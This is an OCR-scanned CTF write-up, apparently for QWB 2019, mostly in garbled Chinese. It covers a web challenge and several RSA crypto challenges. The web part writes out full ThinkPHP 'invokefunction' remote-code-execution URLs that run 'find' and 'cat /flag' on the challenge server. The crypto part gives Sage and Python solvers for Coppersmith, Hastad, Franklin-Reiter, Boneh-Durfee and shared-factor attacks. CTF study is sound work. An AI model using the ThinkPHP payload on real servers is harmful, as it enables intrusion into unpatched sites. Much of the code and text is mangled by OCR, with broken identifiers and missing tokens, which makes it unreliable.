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22X PATlinuxdy £-find / -name "flag* http://117.78.37.77:30971/1/public/?
s=/index\\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name “flag™”
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/proc/sys/kernel/sched_domain/cpu0/domain0/flags /proc/sys/kernel/sched_domain/cpu0/domaini/flags /proc/sys/kernel/sched_domain/cpu0/domain2/flags /proc/sys/kernel/sched_domain/cputl/domain0/flags
/proc/sys/kernel/sched_domain/cpul/domaini/flags /proc/sys/kernel/sched_domain/cpul/domain2/flags /proc/sys/kernel/sched_domain/cpu10/domain0/flags /proc/sys/kernel/sched_domain/cpu10/domaini/flags
/proc/sys/kernel/sched_domain/cpu10/domain2/flags /proc/sys/kernel/sched_domain/cpul1/domain0/flags /proc/sys/kernel/sched_domain/cput1/domaini/flags /proc/sys/kernel/sched_domain/cpul1/domain2/flags
/proc/sys/kernel/sched_domain/cpul2/domain0/flags /proc/sys/kernel sched_domain/cput 2/domaini /flags /proc/sys/kernel/sched_domain/cput2/domain2/flags /proc/sys/kernel sched_domain/cpul 3/domain0/flags
/proc/sys/kernel/sched_domain/cpu13/domaini/flags /proc/sys/kernel/sched_domain/cpul3/domain2/flags /proc/sys/kernel/sched_domain/cput14/domain0/flags /proc/sys/kernel /sched_domain/cpul4/domaini/flags
/proc/sys/kernel/sched_domain/cpu14/domain2/flags /proc/sys/kernel/sched_domain/cpul5/domain0/flags /proc/sys/kernel/sched_domain/cpul15/domaini/flags /proc/sys/kernel/sched_domain/cpul5/domain2/flags
/proc/sys/kernel/sched_domain/cpu2/domain0/flags /proc/sys/kernel/sched_domain/cpu2/domaini/flags /proc/sys/kernel/sched_domain/cpu2 domain2/flags /proc/sys/kernel/sched_domain/cpu3/domain0/flags
/proc/sys/kernel/sched_domain/cpu3/domaini/flags /proc/sys/kernel/sched_domain/cpu3/domain2/flags /proc/sys/kernel/sched_domain/cpud/domain0/flags /proc/sys/kernel/sched_domain/cpud/domaini/flags
/proc/sys/kernel/sched_domain/cpud/domain2/flags /proc/sys/kernel/sched_domain/cpu5/domainQ/flags /proc/sys/kernel/sched_domain/cpu5/domaini/flags /proc/sys/kernel/sched_domain/cpu5/domain2/flags
Jproc/sys/kernel/sched_domain/cpus/domain0/flags /proc/sys/kernel/sched_domain/cpus/domaini/flags /proc/sys/kernel/sched_domain/cpué/domain2/flags /proc/sys/kernel/sched_domain/cpu? /domain0/flags
/prac/sys/kernel/sched_domain/cpu7/domaini/flags /proc/sys/kernel/sched_domain/cpu7/domain2/flags /proc/sys/kernel/sched_domain/cpu8/domain0/flags /proc/sys/kernel/sched_domain/cpu8/domaini/flags
/proc/sys/kernel/sched_domain/cpu8/domain2/flags /proc/sys/kernel/sched_domain/cpu3/domainQ/flags /proc/sys/kernel/sched_domain/cpud/domaini/flags /proc/sys/kernel/sched_domain/cpu3/domain2/flags
/sys/devices/pnp0/00:04/tty/ttyS0/flags /sys/devices/virtual /net/eth0 /flags /sys/devicesvirtual/net/lo/flags /sys/devices/platform/seriald 250 /tty/ttyS 1/flags /sys/devices/platform/serial8250/tty/ttyS2 flags
/sys/devices/platform/serial8250/tty/ttyS3/flags /flag /flag

R G A4Tcat flag http://117.78.37.77:30971/1/public/?
s=/index\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

0 D% B http://117.78.37.77:30971/1/public/?s=/index/\think\app/invokefunction&function=call_user_func_array8vars[0]=system8wars[1][]=cat%20/flag
(ZEEERFIR. |5 =—F "EmF =.. CTFAREBELEEEATT... EEEE

flag{814a6913e4f5e85e808464e2becf8089} flagi{814a6913e4f5e852808464e2becf8089}
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http://117.78.37.77:30971/1/public/?s=/index/%255Cthink%255Capp/invokefunction&function=call_user_func_array&vars%255B0%255D=system&vars%255B1%255D%255B%255D=find
http://117.78.37.77:30971/1/public/?s=/index/%255Cthink%255Capp/invokefunction&function=call_user_func_array&vars%255B0%255D=system&vars%255B1%255D%255B%255D=cat

[+]proof: skr=os.urandom(8)
[+]hashlib.sha256(skr).hexdigest()=ad43aec11215611f104b63404081257cb249ec6333eb521c4a9d8ebd854319e26
[+]skr[©:5].encode( )=2el150eed2b

[-]skr.encode( )
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AR A BRAT T BB R A6HEH HIskr, XA MskriIaTSAL, TRBEAIREILARM, TRBBE =114 Hsha2561H 5 frsti
ERp AT

SHEA

from pwn import

sh=remote( ,12345)
sh.recvuntil(
crypto sh.recv(64)
sh.recvuntil(
sh.recv(10).decode(
crypto skr.encode(

(0,255):
(0,255):
key hashlib.sha256(skr (1) (3) (k)).hexdigest()
G crypto):
return (skr (1) (3) (k)).encode(

bomb ()
sh.sendline(sha)

sh.interactive()

AR Jo B N\ ik Bl teamtoken:
HEN A FE R

challenge1

[+]Generating challenge 1
[+]n=0x44e360ce873d18d33eecc0829eb0801e71950e26576963c4701f91f4c5e713e951165404c6a8714328495c9c64d3927113317081a¢)
ab34bdf350c5f9bf0c5a496681f763cbf404e661210336042c6ab6ed43eedbcbeacab9287ed91b28411486681d3881b241317574cc8b3071b4]
593ff7caaabf09e321f657399c63fe5f68995c5dL

[+]e=3

[+]m=random.getrandbits(512)

[+]c (m,e,n)=0x20d40eecc8108d6c57b0ea2eld7d165fb342813764f3760baf71e7929e3c22476del5b5e665Ff8b869b5ed3a672aad
1e9ef330bb7e18329ce2d@cccae369e244002882a273d3bf5a13b8936974768a920F5cbee52dObb0323f867ff6305c5aa7ceb99453172332
cd9837fdbO5d6ea2d7eac39fdod39960dc9ddbdd40+82b444bL
[+]((m>>72)<<72)=0x5377al2cada®23e2714b4a%9e80f1da87ca567f084e2862e704b813cd7f69b8dbbf67d60e73610fabb7896eeb3cc5a
2c0915d031918d44d000000000000000000L

[-]long_to_bytes(m).encode( )
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ZmodN Zmod (N)

P.<x PolynomialRing(ZmodN)

L (m + x)%e C

dd = f.degree()

beta 1

epsilon beta Vi

mm ceil(beta**2 (dd epsilon))

tt = floor(dd mm ((1/beta) 1))
XX ceil(N**((beta**2/dd) epsilon))

roots coppersmith_howgrave_univariate(f, N, beta, mm, tt, XX)

XA R AR LLH, Frblload(“‘coppersmith.sage”) R EREEEAN, BERANEKRZEZ, ArLLERNZESKKINe m el
Bk T, BEA AT T #RSA-and-LLL-attacks-master, 1 BI# coppersmith.sage

1 F 7 28 M sk hittps://sagecell.sagemath.org/

121718 Froots &2 %5 F850569010101415142106926234553738454877808010862046812306777

BRERATM AR AL B R rootsihex{s, BRI A5 2]

mA
0x5377a12cada023e2714b4a9e80f1da87ca567f084e2862e704b813cd7f69b8dbbf67d60e73610fabb7896eeb3cc5a2c0915d0
3fof8d44dbb346352ab4159d4fc

challenge2

[+]Generating challenge 2
[+]n=0x5fe2743ec99568d6459431474988496439324865901b101f41c93ad7247161bc035d75dfb9e4b25209e26913098ecclb7c4a92a47
fb28452465d8b94e31844c4624da870140a48a28a0e6a3c6d9731b8488a63fd8ab9f5felae86513c7444bb0aa39d44416b9cta83c370F50c¢
7a52148a36823f0ddeed66ecf99117378c0640fL

[+]e=65537

[+]m=random.getrandbits(512)

[+]c (m,e,n)=0x2639582bf7b22fd52a7a519673574e1212b675c9c10763ffcbcf5a86b61f07c4ea536e48dfbd4f3201cb2e1812a094
6959223b3f32bd5b3166d6cdd185ad946e543504dcc42ac9a24c03343bc8e4379997c722bl2c66acaedbad64d35f2fbcc8f4d899c1081d42)
11987841d1be082801207014de89050b71e584827020934755L
[+]((p>>128)<<128)=0xe4f16417011e6cc5ced2aadP@d5865a0530F37c078dd22d942d0d0811c7053d973b621c4768a2a87a6d233bel0d
b8e12000000000000000000000000000V0L

[-]long_to_bytes(m).encode( )

%2 18 % https://www.colabug.com/4078672.html
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Zmod (N)
PolynomialRing(ZmodN)

f.degree()
epsilon beta 7
mm ceil(beta**2 (dd epsilon))
tt = floor(dd mm ((1/beta) 1))
XX = ceil (N**((beta**2/dd) - epsilon)) + 1000000000VORRAOLOVOORROLORROR
roots coppersmith_howgrave univariate(f, N, beta, mm, tt, XX)




FEi 2 45 A [Fl challenge 1

15 Hroots£56881332143959102740668015832270063136685943096384 185849211

A L1 A p B ALk = roots T hex

Bl > 2 &nnf LB sk v] BA1R &nq=n//p

B 5np,qBP a] S B E A Hd = modinv(e, (p-1)*(q- 1))

Rid, AR5 BIA] R Hm=pow(c,d,n)

mKk7#F
0x8b64b3cc66f9185e096b54052582feab3ccdc5df4eb01141ab866346974c1df42f05a79853f71c3dfac97c4b8ed32ccfa7aebab
b6cbd815fb7312b17fa9d2364

challenge3

[+]Generating challenge 3
[+]n=0x61209521a941ddde2294745f53711ae6a7a59aa4d0735f47328ac03e26a4e092bb1c4c885029950152b1e071597dc6e6d5129atbd
b4688ad0479d619655datef915da®a315114989cb474a13a9a4a42931d447739b3cc2b0a39661216171057e6c199c5fd4d11ce78fdf9112f]
53446578b6cfd2c405eb0d3389cd39656361F719L

[+]e=3

[+]m=random.getrandbits(512)

[+]c (m,e,n)=0x6126eaf34233341016966d50c54c6f7401e9812015bcbdc4d56193f0c48590fcd8ee784521c503be322c08481998dc
32a6d630bc1043a4162467c4b069b6c0e186061ed2187d0Ob2d44e9797ce62569d2dab58d183d69b9d110369a8d690361b22223e34e65e5186
8646d0ebf697b10e21297d028833719e87c1584d2564121167L

[+]d=invmod(e, (p-1)*(qg-1))
[+]d&((1<<512)-1)=0x1d8f1499c4f6d90716d89176833823e8fcaddd4034117157e4fd9f61f070e1526F3b4fa3fe507d645ec848e4d7ff3
728eb8df04b72849feabaa3425f9fc510ec3L

[-]long_to_bytes(m).encode( )

B4 tine,c A RdEAZ, Km
FIREIE 2 225 11X 38 18 % hitps://mww.colabug.com/4078672.html
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def partial p(p@, kbits, n):
PR.<x PolynomialRing(Zmod(n))
nbits n.nbits()

f 2"kbits*x po
f = f.monic()
roots f.small roots(X=2"(nbits//2-kbits), beta=0.3)
if roots:
X0 roots[0]
p = gcd(2”kbits*xe@ po, n)
return ZZ(p)

find p(do, kbits, e, n):
X = var( )

for k in (1, e+l):
results solve mod([e*dO*X - k*X*(n-X+1) k*n X], 27kbits)
for x in results:
po = ZZ(x[e])
p = partial_p(p@, kbits, n)
if p:

return p

beta 0.5
epsilon beta”2/7

nbits n.nbits()

kbits floor(nbits*(beta”2+epsilon))

do = d (27kbits-1)

print (kbits, nbits)

p = find_p(de, kbits, e, n)
print p

q n/,/p
print d
print inverse mod(e, (p-1)*(qg-1))

WA KRB, REHE

m=
0x7e4bb2e06277d27d68c97ca72562562fb0f6f4c8b481cf94828c85fc2ce85a88b24187045e1989043b15b96411f5e6d91336a3
315f31485bf3483d4bcff4237

challenge4




[+]Generating challenge 4

[+]e=3

[+]m=random.getrandbits(512)
[+]n1=0x1819da5abb8b8158ad6c834chb8fd6bc3ed9a3bd3e33b97634417311766b1F909bda253118c9d9640570152707e493e3d3d461becc
7197367ab702af33d67805€9383219151439e33f616b41781c54c101f05dbB760cc8calf0906313142b5b31f6aak62fle60bbalad5e3720a
b462ebd31e1228f5c49ae3de8172bad77b2d5b57L

[+]c1 (m,e,nl)=0x7841e1b22f4d571b722807007dc1d55021970a32801c4649e8314b99a011f70815b3952a34eadclec8ball2be840¢|
8182211c464b1bb4b24b168e5cb38016469548c5afd8c1bdb55402d120813201a2a4098aef305a8380b8c5b6b5b17d9fb65abbdfdcf2labc
063924265121f18f1dc22332dfc87f4a00925daf1988d43aaecdL
[+]n2=0x6d1164ffa8cb2b7818b5ac90ef121b94e38fd5f93636b212184717779c455811f13c596631b23781de82417f9c8126be4av4ab52a
50839719318c713e65d08961d1721241877f48ef9e468e52e3b5b17cbbe81646903d6501703c5112ad0928dd958700b939el1fd71590f264a6)
d637bd9ef265d027e7364c4e5e40al172ce970021L

[+]c2 (m,e,n2)=0x58126614932924c81d30ef2389d00cf2115652ced08d59e51619207a78361d3908b3179fc0df03fe610059c1fe00
1cad2le0le96atc47147d77bbbe6a3f51c5c06f1baeab8dc245¢c2567a603187deaa®53b8f5df4e68128896d7d1lba3dd3dcd7c4652d59404
fa23714868e1bbc92e529196739486d86bd1723a78dfac781fe5L
[+]n3=0xde53beldb600264b0c3511ae4939c82164eall66aadfd8ddoat6el5eb9df79a5d1a2757d3d15630441790ect834098alcf4b5858,
©03fOb7f3a72823de@14acPa7c827ed1cadl85b2457741f442a05dee3feb6bf846e5b035caf3b3c574b88911b7e5b81fc2c6387292401949¢€0
9a25a3a4a762c31005684791577d5e9fc8221abdL

[+]c3 (m,e,n3)=0x89f9fabc7e8d6f0e92d31109ea4c024446b323d9f441d72db4eb296eba301labe2a58e68ec21a663e6493981e218
35a826128d1bc28d3476273ff733ef69c152e7fbfebc82613226616eb65c86b242417c06eb31453199ed7e075ababbfc208d042a2436a766
f24eb9afof45b60eea2c4405edfabd87584806bcPalas51f9ca7al

[-]long_to_bytes(m).encode( )

B2 4n4s He,n1,n2,n3,c1,c2,c33km

SEBE
https://code.felinae98.cn/ctilcrypto/rsa KL (=) KMEFBEH KT HEK . KR/

A< J8 H 18 % https://blog.csdn.net/xuqi7/article/details/75578414
RAECHEINE R E BB


https://code.felinae98.cn/ctf/crypto/rsa%25E5%25A4%25A7%25E7%25A4%25BC%25E5%258C%2585%25EF%25BC%2588%25E4%25B8%2589%25EF%25BC%2589%25E4%25BD%258E%25E8%25A7%25A3%25E5%25AF%2586%25E6%258C%2587%25E6%2595%25B0%25E6%2594%25BB%25E5%2587%25BB%25E3%2580%2581%25E5%2585%25B1%25E6%25A8%25A1%25E6%2594%25BB%25E5%2587%25BB%25E3%2580%2581%25E4%25BD%258E%25E8%25A7%25A3/

from struct import pack,unpack

def my parse number(number):

string number

erg = []
while string

erg = erg [ ( (string[:2], 16))]
string = string[2:]
return .join(erg)
extended gcd(a, b):
Y 0, 1
lastx, lasty 1, ©
while b:
a, (q, b) b, (a,b)
X, lastx lastx-g*x, x
y, lasty = lasty-q*y, y
return (lastx, lasty, a)
def chinese_remainder_theorem(items):
N 1
for a, n in items:
N n
result (%]
for a, n in items:
m N/n
r, s, d = extended_gcd(n, m)
if d
N=N/n

continue

result a*s*m
return result N, N
: 3,
)
: )]

sessions=[{ S

data [1]
for session in sessions:
e=session| ]
n=session| ]
msg=session|[ ]
data = data [(msg, n)]
print
X, n = chinese_remainder_theorem(data)
e=session| ]
realnum = gmpy.mpz(x).root(e)[0].digits()
print realnum

BHm=
0x78d90c1b7ec7d7926e7c0731476244f8f70ce30efc760fa116e73b119f654c229c45001ad9f4932006b5496e97d837551ba3a
e23f58e54f10f0e15b8e0351013

challenge5




[+]Generating challenge 5
[+]n=0xf2e5339236455e2bclblbd12e45b9341a3b223ddb02dec11c880fa4aa8835df9e463e4c446292cd5a2fel19b10017856654b6d6C 3]
3294a95807712329f7dae2e1e6506094d5d219c8aB5c35chbt3366330996db9bf1930fe566016d5e850e232057d419292ce30df9c135d56ef]
1bb72c38838d4b127aa577ceb4aba94d4e0d55L

[+]e=3

[+]m=random.getrandbits(512)

[+]c (m,e,n)=0x7175f2614b8d1a27b4317c3873b3422658a128291ddc88b15f971f499e00cd4c5c41+d9801062376a61e5dd4c15d52d7]

3262d3c066F1e8f46a04at6fead7c3960d2768a0d214bbc3e05d2f6e56aee158071574e55753624a19e0945901c319918a2065cd5F 17693 ¢
0d34517bcO072e6c9ed444e66cd4ece88d657199e44beed8924L

[+]x (m+1,e,n)=0xd5f4af36b5391bd731cfa4313466024ablbc3b455024a5d8b218faba0e956252f01c4d01bd36765035c33d73e5af]
7f178aeb2606edf86814d74082c64828fa4cl1666b69d05fab69ddlef47b243356290fdb74e001f54edec70681cf52319c73bce9acdad803a
9e97597ca21d60072c2d2b516f161beclf6a91baa2e24c7655bL

[-]long_to_bytes(m).encode( )

B4 Hine,c B &m+13R H BB SOckm

218 K https://Iwww.anquanke.com/post/id/158944
B 512k % NPadding Attack

Eagee) EN

import gmpy
def getM2(a,b,cl,c2,n):
EE] (a,3,n)
b3 (b,3,n)
first cl-a3*c2+2*b3
first first n
second 3*b*(a3*c2-b3)
second second n
third second*gmpy.invert(first,n)
third third n
fourth (third+b)*gmpy.invert(a,n)
return fourth n

m getM2(a,b,cl,c2,n)-padding2

print (m)

B Hm
=0x7425ec9264ada371b7a5982eeb12f2996fb73437ab1bced4e94875af9ae789182f5aca8d49a4216f70d42b60b57c099bfabb6

b0062ef1d88fa88b0d0cb54bf467

challenge6



[+]Generating challenge 6
[+]n=0xbadd260d14ea665b62e7d2e63412026382ac369cd44017305b69cf3a2694667ee651acded7085e0757d169b090129f3f86fec2557
16674ffa8aba3elc9el861003eb39f82cf74d84cc18e345Ff60865F998b33fc182aladffa71lf5ae48alb5cb4c5+f154b0997dcOb001e441815
ce59c6c825f064fdcab678858758dc2cebbc4d27L

[+]d=random.getrandbits(1024%0.270)

[+]e=invmod(d, phin)

[+] (e)=0x11722b54dd6f3ad9ce81ldabf6echb@acat2cbc3885841d08b32abc0672d1a729319856db819407dcO5f61373a2d9246752a7c¢

c7b1b6923f1827adfaeefc811e6e5989cce9f00897cfclfc57987cce4862b5343bc8e91ddf2bd9e23aea9316a691281407cfe324d546a7dd
e13ebObd0d52f694aefe8ecOf5298800277dbab4a33bbL

[+]m=random.getrandbits(512)

[+]c (m,e,n)=0xe3505f41ec936cf6bd8ae344bfec85746dc7d87a5943b3a7136482dd7b980168152c887585d1c7ca099310c4da2f79
d4d5345d3641428797030177dabccOd41e7b28d0abce694157c611697df8d0add3d900c00f778ac3428F341f47ecc4d868c6c5de@724b0c3
403296d84126736226617905d498fa1862ca59e97+81866¢L

[-]long_to_bytes(m).encode( )

S 414 e, ek m

AR MR K, el ARAE RIS, BEEREId R ES % & https:/nandynarwhals.org/asisfinals2015-bodu/

351, WLMEAboneh durfee.sagefdit, HHANAEK, FrPAA AT #RSA-and-LLL-attacks-masterf§ £|boneh_durfee.sage
REE]
m=0x6b3bb0cdc72a7f2ce89902e19db0fb2c0514c76874b2cad113b86e6dc128d44cc859283db4ca8b0b5d9ee35032aec8cc8
bb96e8c11547915fc9ef05aa2d72b28

KB flag

[ Jchallenge 6 completed|
[ ] clear| ]
flag{b3f289813a8f5a4ae3c391d002600d2dfaa516dc58114537290f02417e612985}

CRYPTO-5i M 5 & -4 Bl

flag ).read()

from Crypto.Util.number import getPrime,bytes_to_long
getPrime(1024)
getPrime(1024)
65537
pPq
m=bytes_to_long(flag)
C (m,e,n)

print c,e,n

getPrime(1024)

65537

pTq
m=bytes_to_long( 32)
C (m,e,n)

print c,e,n

SREHW L, BEHTHYe, e nfiH

H B2 Km

T] LS 2% 1 & https://www.cnblogs.com/zaqzzz/p/9864 771 .html
FIFRBEMNEF ALHR KA L Hq

SHBEADT



def gcd(a, b):
a if a b else b
b if a b else a
if Q:
return
else:

return gcd( 5

print(gcd(nl,n2))

KBq=
Oxebafae18b2a6572e8161fac06b3f02e1e7681642b86d8df871cbad7bf5c618b67113f0156111dce0cf3db8e2a309bacd2ced7c
34cab514a6405b314f27d33254c48f9e070a9013bbf4a708d371edc266766eefb2d94b2024912223b698c880920b679924f0aad
84d376f437a76e0d5bdff06715e756f0edb1462bd38dce963069

B 24 B Anfir A4 5t T LA & p=n//q

18 5np,qBI AT B FE A M d = modinv(e, (p- 1) * (g - 1))

Kihd, 25 EPA] R Hm=pow(c,d,n)

m= 0x666c61677b695f616d5f766572795f7361645f3233333333333333333333337d

BmiE N ER BB Slag: flag{i_am_very sad 233333333333}

MISC-4: 2

Eb MR, flag{welcome to_qwb_2019}
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